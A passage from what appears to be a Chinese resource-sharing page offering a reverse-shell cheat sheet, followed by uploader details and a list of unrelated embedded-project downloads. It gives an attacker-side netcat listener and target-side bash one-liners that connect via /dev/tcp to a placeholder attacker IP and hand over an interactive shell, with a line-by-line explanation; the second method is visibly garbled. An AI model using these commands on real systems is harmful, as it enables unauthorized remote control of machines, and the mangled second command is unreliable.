反弹 shell
1203624614
一、bash 反弹
1.1--攻击者执行监听
nc -lvp port
1.2--目标机执行以下方法
方法一：
bash -i >& /dev/tcp/x.x.x.x/port 0>&1 #bash -i
打 开 一 个 交 互 的
bash#>&
将 标 准 错 误 输 出 重 定 向 到 标 准 输 出
#/dev/tcp/x.x.x.x/port
意为调用
socket,
建立
socket
连接
,
其中
x.x.x.x
为要反
弹到的主机
ip
，
port
为端口
#0>&1
标准输入重定向到标 准 输 出，实现 你 与 反弹出来 的
shell
的交互
注：/dev/tcp/ 是 Linux 中的一个特殊设备,打开这个文件就相当于发出了一个
socket 调用，建立一个 socket 连接，读写这个文件就相当于在这个 socket 连接中传输
数据。同理，Linux 中还存在/dev/udp/。
linux shell 下常用的文件描述符是：
1.标准输入 (stdin) ：代码为 0 ，使用 < 或 << ；
2.标准输出 (stdout)：代码为 1 ，使用 > 或 >> ；
3.标准错误输出(stderr)：代码为 2 ，使用 2> 或 2>>。
另外由于不同 Linux 发行版之间的差异，该命令在某些系统上可能并不适用。
方法二:
exec 0&0 2>&00<&196;exec 196<>/dev/tcp/x.x.x.x/4444; sh <&196 >&196
2>&196/bin/bash -i > /dev/tcp/x.x.x.x/8080 0<&1 2>&1
资源评论
YZD0826
- 粉丝: 95
- 资源: 4
最新资源
- 基于STM32为电子香味项目，通过蓝牙模块传输数据，嵌入式硬件平台，RFID使用的是RC522.整个项目包括软硬件以及android程序详细文档+全部资料+高分项目+源码.zip
- 基于发布-订阅模型的多线程消息框架，用于嵌入式平台，纯C实现，性能和灵活性极高详细文档+全部资料+高分项目+源码.zip
- 基于嵌入式Linux的一套可视对讲设备代码，比较底层，写的比较好，里面的lib库是一些图像处理库详细文档+全部资料+高分项目+源码.zip
- php 实现各种排序和查找算法源代码.zip
- 基于嵌入式qt的车载系统详细文档+全部资料+高分项目+源码.zip
- 基于嵌入式的基础图形库详细文档+全部资料+高分项目+源码.zip
- 基于嵌入式平台ARM Linux的新冠肺炎疫情监控平台详细文档+全部资料+高分项目+源码.zip
- 基于嵌入式的视觉运动控制详细文档+全部资料+高分项目+源码.zip
- 基于嵌入式综合项目：STM32F407基于ARM Cortex-M4处理器，云服务器Linux操作系统，MySQL数据存储转发详细文档+全部资料+高分项目+源码
- 基于热风控制系统嵌入式项目，基于STM32F1芯片和RT-Thread实时系统开发出温度闭环控制和风速控制详细文档+全部资料+高分项目+源码.zip
- 基于全志V3S的嵌入式开发者打怪升级项目详细文档+全部资料+高分项目+源码.zip
- 基于事件型嵌入式驱动框架。详细文档+全部资料+高分项目+源码.zip
- 基于使用B-Tree作为索引，基于MMap的嵌入式键值数据库详细文档+全部资料+高分项目+源码.zip
- 基于三个嵌入式的小项目：一个是基于科大讯飞的语音识别系统，一个是智能音乐相册，一个是别踩白块小游戏详细文档+全部资料+高分项目+源码.zip
- 基于物联网模式开发的嵌入式程序详细文档+全部资料+高分项目+源码.zip
- 基于以太网通信的电力电子设备运行状态的远程监控嵌入式系统设计详细文档+全部资料+高分项目+源码.zip
资源上传下载、课程学习等过程中有任何疑问或建议，欢迎提出宝贵意见哦~我们会及时处理！
点击此处反馈
